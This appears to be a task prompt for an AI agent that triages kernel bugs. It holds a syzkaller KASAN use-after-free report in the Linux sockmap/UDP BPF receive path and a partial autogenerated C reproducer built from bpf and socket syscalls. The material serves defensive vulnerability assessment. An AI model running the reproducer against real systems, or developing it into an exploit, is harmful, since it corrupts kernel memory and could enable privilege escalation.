Don't make assumptions; verify them with source code access. Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption or elevated privileges.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completly wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control tranfers, that's also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitabability depends on how exactly the uninit value
is used in the code, and what it affects.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidetial Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
==================================================================
BUG: KASAN: slab-use-after-free in __sk_msg_recvmsg+0x197/0xfc0 net/core/skmsg.c:431
Read of size 8 at addr ffff88803492aab0 by task syz.0.21/5897
CPU: 1 UID: 0 PID: 5897 Comm: syz.0.21 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
__sk_msg_recvmsg+0x197/0xfc0 net/core/skmsg.c:431
udp_bpf_recvmsg+0x196/0xac0 net/ipv4/udp_bpf.c:83
sock_recvmsg_nosec net/socket.c:1137 [inline]
sock_recvmsg+0x155/0x1b0 net/socket.c:1159
____sys_recvmsg+0x1e6/0x4a0 net/socket.c:2918
___sys_recvmsg+0x215/0x590 net/socket.c:2960
do_recvmmsg+0x334/0x800 net/socket.c:3055
__sys_recvmmsg net/socket.c:3129 [inline]
__do_sys_recvmmsg net/socket.c:3152 [inline]
__se_sys_recvmmsg net/socket.c:3145 [inline]
__x64_sys_recvmmsg+0x198/0x250 net/socket.c:3145
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f70ebb9ce59
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f70ec9a0028 EFLAGS: 00000246 ORIG_RAX: 000000000000012b
RAX: ffffffffffffffda RBX: 00007f70ebe16090 RCX: 00007f70ebb9ce59
RDX: 0000000000000002 RSI: 0000200000003fc0 RDI: 0000000000000003
RBP: 00007f70ebc32d6f R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000010021 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f70ebe16128 R14: 00007f70ebe16090 R15: 00007ffe124d1d88
</TASK>
Allocated by task 5896:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5419
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
alloc_sk_msg net/core/skmsg.c:525 [inline]
sk_psock_skb_ingress_self+0x5e/0x370 net/core/skmsg.c:627
sk_psock_verdict_apply net/core/skmsg.c:1062 [inline]
sk_psock_verdict_recv+0x7d9/0x8d0 net/core/skmsg.c:1260
udp_read_skb+0x5d9/0x6b0 net/ipv4/udp.c:2014
sk_psock_verdict_data_ready+0x25f/0x690 net/core/skmsg.c:1284
__udp_enqueue_schedule_skb+0xc4b/0x12e0 net/ipv4/udp.c:1745
__udp_queue_rcv_skb net/ipv4/udp.c:2311 [inline]
udp_queue_rcv_one_skb+0x755/0x10f0 net/ipv4/udp.c:2402
__udp4_lib_mcast_deliver+0xad7/0xb70 net/ipv4/udp.c:2514
udp_rcv+0xcd0/0x1db0 net/ipv4/udp.c:2639
ip_protocol_deliver_rcu+0x282/0x440 net/ipv4/ip_input.c:207
ip_local_deliver_finish+0x3bb/0x6f0 net/ipv4/ip_input.c:241
NF_HOOK+0x336/0x3c0 include/linux/netfilter.h:318
dst_input include/net/dst.h:480 [inline]
ip_sublist_rcv_finish+0x1f0/0x240 net/ipv4/ip_input.c:623
ip_list_rcv_finish net/ipv4/ip_input.c:667 [inline]
ip_sublist_rcv+0x5c6/0xa70 net/ipv4/ip_input.c:683
ip_list_rcv+0x3f1/0x450 net/ipv4/ip_input.c:717
__netif_receive_skb_list_ptype net/core/dev.c:6245 [inline]
__netif_receive_skb_list_core+0x7e5/0x810 net/core/dev.c:6292
__netif_receive_skb_list net/core/dev.c:6344 [inline]
netif_receive_skb_list_internal+0x995/0xcf0 net/core/dev.c:6435
netif_receive_skb_list+0x55/0x450 net/core/dev.c:6487
xdp_recv_frames net/bpf/test_run.c:269 [inline]
xdp_test_run_batch net/bpf/test_run.c:350 [inline]
bpf_test_run_xdp_live+0x1946/0x1cf0 net/bpf/test_run.c:379
bpf_prog_test_run_xdp+0x81c/0x1160 net/bpf/test_run.c:1430
bpf_prog_test_run+0x2c7/0x340 kernel/bpf/syscall.c:4742
__sys_bpf+0x643/0x950 kernel/bpf/syscall.c:6266
__do_sys_bpf kernel/bpf/syscall.c:6361 [inline]
__se_sys_bpf kernel/bpf/syscall.c:6359 [inline]
__x64_sys_bpf+0x7c/0x90 kernel/bpf/syscall.c:6359
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 5898:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2689 [inline]
slab_free mm/slub.c:6250 [inline]
kfree+0x1c5/0x640 mm/slub.c:6565
kfree_sk_msg include/linux/skmsg.h:418 [inline]
__sk_msg_recvmsg+0xdb7/0xfc0 net/core/skmsg.c:491
udp_bpf_recvmsg+0x196/0xac0 net/ipv4/udp_bpf.c:83
sock_recvmsg_nosec net/socket.c:1137 [inline]
sock_recvmsg+0x155/0x1b0 net/socket.c:1159
____sys_recvmsg+0x1e6/0x4a0 net/socket.c:2918
___sys_recvmsg+0x215/0x590 net/socket.c:2960
do_recvmmsg+0x334/0x800 net/socket.c:3055
__sys_recvmmsg net/socket.c:3129 [inline]
__do_sys_recvmmsg net/socket.c:3152 [inline]
__se_sys_recvmmsg net/socket.c:3145 [inline]
__x64_sys_recvmmsg+0x198/0x250 net/socket.c:3145
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The buggy address belongs to the object at ffff88803492a800
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 688 bytes inside of
freed 1024-byte region [ffff88803492a800, ffff88803492ac00)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x34928
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813fe20dc0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800100010 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813fe20dc0 dead000000000100 dead000000000122
head: 0000000000000000 0000000800100010 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 80, tgid 80 (kworker/u8:5), ts 93535996970, free_ts 93431323536
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7255
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__do_kmalloc_node mm/slub.c:5294 [inline]
__kmalloc_noprof+0x474/0x760 mm/slub.c:5307
kmalloc_noprof include/linux/slab.h:954 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
neigh_alloc net/core/neighbour.c:521 [inline]
___neigh_create+0x6d5/0x2250 net/core/neighbour.c:655
ip6_finish_output2+0x729/0x13e0 net/ipv6/ip6_output.c:128
NF_HOOK_COND include/linux/netfilter.h:307 [inline]
ip6_output+0x340/0x550 net/ipv6/ip6_output.c:246
dst_output include/net/dst.h:470 [inline]
NF_HOOK include/linux/netfilter.h:318 [inline]
ndisc_send_skb+0xd0b/0x1670 net/ipv6/ndisc.c:512
addrconf_dad_completed+0x909/0xe60 net/ipv6/addrconf.c:4372
addrconf_dad_work+0xc5e/0x14c0 net/ipv6/addrconf.c:-1
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
page last free pid 5772 tgid 5772 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__slab_free+0x274/0x2c0 mm/slub.c:5612
qlink_free mm/kasan/quarantine.c:163 [inline]
qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
__kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
kasan_slab_alloc include/linux/kasan.h:253 [inline]
slab_post_alloc_hook mm/slub.c:4569 [inline]
slab_alloc_node mm/slub.c:4898 [inline]
__do_kmalloc_node mm/slub.c:5294 [inline]
__kmalloc_noprof+0x316/0x760 mm/slub.c:5307
kmalloc_noprof include/linux/slab.h:954 [inline]
tomoyo_realpath_from_path+0xe3/0x5d0 security/tomoyo/realpath.c:251
tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
security_inode_getattr+0x12b/0x310 security/security.c:1895
vfs_getattr fs/stat.c:259 [inline]
vfs_fstat fs/stat.c:281 [inline]
__do_sys_newfstat fs/stat.c:551 [inline]
__se_sys_newfstat fs/stat.c:546 [inline]
__x64_sys_newfstat+0x13b/0x270 fs/stat.c:546
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88803492a980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88803492aa00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88803492aa80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88803492ab00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88803492ab80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$inet_udp arguments: [
// domain: const = 0x2 (8 bytes)
// type: const = 0x2 (8 bytes)
// proto: const = 0x0 (4 bytes)
// ]
// returns sock_udp
res = syscall(__NR_socket, /*domain=*/2ul, /*type=*/2ul, /*proto=*/0);
if (res != -1)
r[0] = res;
// bpf$MAP_CREATE arguments: [
// cmd: const = 0x0 (8 bytes)
// arg: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {0f 00 00 00 04 00 00 00 04 00 00 00 12} (length 0xd)
// }
// }
// }
// size: len = 0x50 (8 bytes)
// ]
// returns fd_bpf_map
memcpy((void*)0x200000000700, "\x0f\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x12", 13);
res = syscall(__NR_bpf, /*cmd=*/0ul, /*arg=*/0x200000000700ul, /*size=*/0x50ul);
if (res != -1)
r[1] = res;
// bpf$PROG_LOAD_XDP arguments: [
// cmd: const = 0x5 (8 bytes)
// arg: ptr[in, bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]] {
// bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]] {
// type: const = 0xe (4 bytes)
// ninsn: bytesize8 = 0x5 (4 bytes)
// insns: ptr[in, bpf_instructions] {
// union bpf_instructions {
// framed: bpf_framed_program {
// initr0: bpf_insn_init_r0 {
// code: const = 0x18 (1 bytes)
// dst: const = 0x2 (0 bytes)
// src: const = 0x0 (1 bytes)
// off: const = 0x0 (2 bytes)
// imm: int32 = 0x0 (4 bytes)
// code2: const = 0x0 (1 bytes)
// regs2: const = 0x0 (1 bytes)
// off2: const = 0x0 (2 bytes)
// imm2: int32 = 0x0 (4 bytes)
// }
// body: array[bpf_insn] {
// union bpf_insn {
// initr0: bpf_insn_init_r0 {
// code: const = 0x18 (1 bytes)
// dst: const = 0x0 (0 bytes)
// src: const = 0x0 (1 bytes)
// off: const = 0x0 (2 bytes)
// imm: int32 = 0x1 (4 bytes)
// code2: const = 0x0 (1 bytes)
// regs2: const = 0x0 (1 bytes)
// off2: const = 0x0 (2 bytes)
// imm2: int32 = 0xa (4 bytes)
// }
// }
// }
// exit: bpf_insn_exit {
// code: const = 0x95 (1 bytes)
// regs: const = 0x0 (1 bytes)
// off: const = 0x0 (2 bytes)
// imm: const = 0x0 (4 bytes)
// }
// }
// }
// }
// license: ptr[in, buffer] {
// buffer: {73 79 7a 6b 61 6c 6c 65 72 00} (length 0xa)
// }
// loglev: int32 = 0x0 (4 bytes)
// logsize: len = 0x0 (4 bytes)
// log: nil
// kern_version: bpf_kern_version = 0x0 (4 bytes)
// flags: bpf_prog_load_flags = 0x0 (4 bytes)
// prog_name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// prog_ifindex: ifindex (resource)
// expected_attach_type: const = 0x25 (4 bytes)
// btf_fd: fd_btf (resource)
// func_info_rec_size: const = 0x8 (4 bytes)
// func_info: nil
// func_info_cnt: len = 0x0 (4 bytes)
// line_info_rec_size: const = 0x10 (4 bytes)
// line_info: nil
// line_info_cnt: len = 0x0 (4 bytes)
// attach_btf_id: const = 0x0 (4 bytes)
// attach_prog_fd: const = 0x0 (4 bytes)
// core_relo_cnt: len = 0x0 (4 bytes)
// fd_array: nil
// core_relos: nil
// core_relo_rec_size: const = 0x10 (4 bytes)
// log_true_size: int32 = 0x0 (4 bytes)
// prog_token_fd: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_prog_token_fd_wrapper {
// void: buffer: {} (length 0x0)
// }
// pad: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_pad_wrapper {
// value: const = 0x0 (4 bytes)
// }
// }
// }
// size: len = 0x94 (8 bytes)
// ]
// returns fd_bpf_prog_xdp
*(uint32_t*)0x200000000340 = 0xe;
*(uint32_t*)0x200000000344 = 5;
*(uint64_t*)0x200000000348 = 0x2000000007c0;
*(uint8_t*)0x2000000007c0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x2000000007c1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x2000000007c1, 0, 4, 4);
*(uint16_t*)0x2000000007c2 = 0;
*(uint32_t*)0x2000000007c4 = 0;
*(uint8_t*)0x2000000007c8 = 0;
*(uint8_t*)0x2000000007c9 = 0;
*(uint16_t*)0x2000000007ca = 0;
*(uint32_t*)0x2000000007cc = 0;
*(uint8_t*)0x2000000007d0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x2000000007d1, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x2000000007d1, 0, 4, 4);
*(uint16_t*)0x2000000007d2 = 0;
*(uint32_t*)0x2000000007d4 = 1;
*(uint8_t*)0x2000000007d8 = 0;
*(uint8_t*)0x2000000007d9 = 0;
*(uint16_t*)0x2000000007da = 0;
*(uint32_t*)0x2000000007dc = 0xa;
*(uint8_t*)0x2000000007e0 = 0x95;
*(uint8_t*)0x2000000007e1 = 0;
*(uint16_t*)0x2000000007e2 = 0;
*(uint32_t*)0x2000000007e4 = 0;
*(uint64_t*)0x200000000350 = 0x2000000005c0;
memcpy((void*)0x2000000005c0, "syzkaller\000", 10);
*(uint32_t*)0x200000000358 = 0;
*(uint32_t*)0x20000000035c = 0;
*(uint64_t*)0x200000000360 = 0;
*(uint32_t*)0x200000000368 = 0;
*(uint32_t*)0x20000000036c = 0;
memset((void*)0x200000000370, 0, 16);
*(uint32_t*)0x200000000380 = 0;
*(uint32_t*)0x200000000384 = 0x25;
*(uint32_t*)0x200000000388 = -1;
*(uint32_t*)0x20000000038c = 8;
*(uint64_t*)0x200000000390 = 0;
*(uint32_t*)0x200000000398 = 0;
*(uint32_t*)0x20000000039c = 0x10;
*(uint64_t*)0x2000000003a0 = 0;
*(uint32_t*)0x2000000003a8 = 0;
*(uint32_t*)0x2000000003ac = 0;
*(uint32_t*)0x2000000003b0 = 0;
*(uint32_t*)0x2000000003b4 = 0;
*(uint64_t*)0x2000000003b8 = 0;
*(uint64_t*)0x2000000003c0 = 0;
*(uint32_t*)0x2000000003c8 = 0x10;
*(uint32_t*)0x2000000003cc = 0;
*(uint32_t*)0x2000000003d0 = 0;
res = syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000340ul, /*size=*/0x94ul);
if (res != -1)
r[2] = res;
// bpf$BPF_PROG_DETACH arguments: [
// cmd: const = 0x8 (8 bytes)
// arg: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYRES32: ANYRES32 (resource)
// }
// union ANYUNION {
// ANYRES32: ANYRES32 (resource)
// }
// union ANYUNION {
// ANYBLOB: buffer: {05} (length 0x1)
// }
// }
// }
// size: len = 0x10 (8 bytes)
// ]
*(uint32_t*)0x200000000280 = r[1];
*(uint32_t*)0x200000000284 = r[2];
memset((void*)0x200000000288, 5, 1);
syscall(__NR_bpf, /*cmd=*/8ul, /*arg=*/0x200000000280ul, /*size=*/0x10ul);
// bpf$MAP_UPDATE_ELEM arguments: [
// cmd: const = 0x2 (8 bytes)
// arg: ptr[in, bpf_map_update_arg] {
// bpf_map_update_arg {
// map: fd_bpf_map (resource)
// pad = 0x0 (4 bytes)
// key: ptr[in, buffer] {
// buffer: {} (length 0x0)
// }
// val: ptr[in, bpf_map_update_val] {
// union bpf_map_update_val {
// udp: sock_udp (resource)
// }
// }
// flags: bpf_map_flags = 0x0 (8 bytes)
// }
// }
// size: len = 0x20 (8 bytes)
// ]
*(uint32_t*)0x200000000440 = r[1];
*(uint64_t*)0x200000000448 = 0x200000000440;
*(uint64_t*)0x200000000450 = 0x200000000040;
*(uint32_t*)0x200000000040 = r[0];
*(uint64_t*)0x200000000458 = 0;
syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x200000000440ul, /*size=*/0x20ul);
// bind$inet arguments: [
// fd: sock_in (resource)
// addr: ptr[in, sockaddr_in] {
// sockaddr_in {
// family: const = 0x2 (2 bytes)
// port: int16be = 0x4e20 (2 bytes)
// addr: union ipv4_addr {
// empty: const = 0x0 (4 bytes)
// }
// pad = 0x0 (8 bytes)
// }
// }
// addrlen: len = 0x21 (8 bytes)
// ]
*(uint16_t*)0x200000000040 = 2;
*(uint16_t*)0x200000000042 = htobe16(0x4e20);
*(uint32_t*)0x200000000044 = htobe32(0);
syscall(__NR_bind, /*fd=*/r[0], /*addr=*/0x200000000040ul, /*addrlen=*/0x21ul);
// bpf$PROG_LOAD_XDP arguments: [
// cmd: const = 0x5 (8 bytes)
// arg: ptr[in, bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]] {
// bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]] {
// type: const = 0x6 (4 bytes)
// ninsn: bytesize8 = 0x3 (4 bytes)
// insns: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {18 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 95} (length 0x11)
// }
// }
// }
// license: nil
// loglev: int32 = 0x2003 (4 bytes)
// logsize: len = 0x0 (4 bytes)
// log: nil
// kern_version: bpf_kern_version = 0x0 (4 bytes)
// flags: bpf_prog_load_flags = 0x0 (4 bytes)
// prog_name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// prog_ifindex: ifindex (resource)
// expected_attach_type: const = 0x25 (4 bytes)
// btf_fd: fd_btf (resource)
// func_info_rec_size: const = 0x8 (4 bytes)
// func_info: nil
// func_info_cnt: len = 0x0 (4 bytes)
// line_info_rec_size: const = 0x10 (4 bytes)
// line_info: nil
// line_info_cnt: len = 0x0 (4 bytes)
// attach_btf_id: const = 0x0 (4 bytes)
// attach_prog_fd: const = 0x0 (4 bytes)
// core_relo_cnt: len = 0x0 (4 bytes)
// fd_array: nil
// core_relos: nil
// core_relo_rec_size: const = 0x10 (4 bytes)
// log_true_size: int32 = 0x0 (4 bytes)
// prog_token_fd: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_prog_token_fd_wrapper {
// void: buffer: {} (length 0x0)
// }
// pad: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_pad_wrapper {
// value: const = 0x0 (4 bytes)
// }
// }
// }
// size: len = 0x94 (8 bytes)
// ]
// returns fd_bpf_prog_xdp
*(uint32_t*)0x200000000140 = 6;
*(uint32_t*)0x200000000144 = 3;
*(uint64_t*)0x200000000148 = 0x200000000680;
memcpy((void*)0x200000000680, "\x18\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x95", 17);
*(uint64_t*)0x200000000150 = 0;
*(uint32_t*)0x200000000158 = 0x2003;
*(uint32_t*)0x20000000015c = 0;
*(uint64_t*)0x200000000160 = 0;
*(uint32_t*)0x200000000168 = 0;
*(uint32_t*)0x20000000016c = 0;
memset((void*)0x200000000170, 0, 16);
*(uint32_t*)0x200000000180 = 0;
*(uint32_t*)0x200000000184 = 0x25;
*(uint32_t*)0x200000000188 = -1;
*(uint32_t*)0x20000000018c = 8;
*(uint64_t*)0x200000000190 = 0;
*(uint32_t*)0x200000000198 = 0;
*(uint32_t*)0x20000000019c = 0x10;
*(uint64_t*)0x2000000001a0 = 0;
*(uint32_t*)0x2000000001a8 = 0;
*(uint32_t*)0x2000000001ac = 0;
*(uint32_t*)0x2000000001b0 = 0;
*(uint32_t*)0x2000000001b4 = 0;
*(uint64_t*)0x2000000001b8 = 0;
*(uint64_t*)0x2000000001c0 = 0;
*(uint32_t*)0x2000000001c8 = 0x10;
*(uint32_t*)0x2000000001cc = 0;
*(uint32_t*)0x2000000001d0 = 0;
syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000140ul, /*size=*/0x94ul);
// bpf$PROG_LOAD_XDP arguments: [
// cmd: const = 0x5 (8 bytes)
// arg: ptr[in, bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]] {
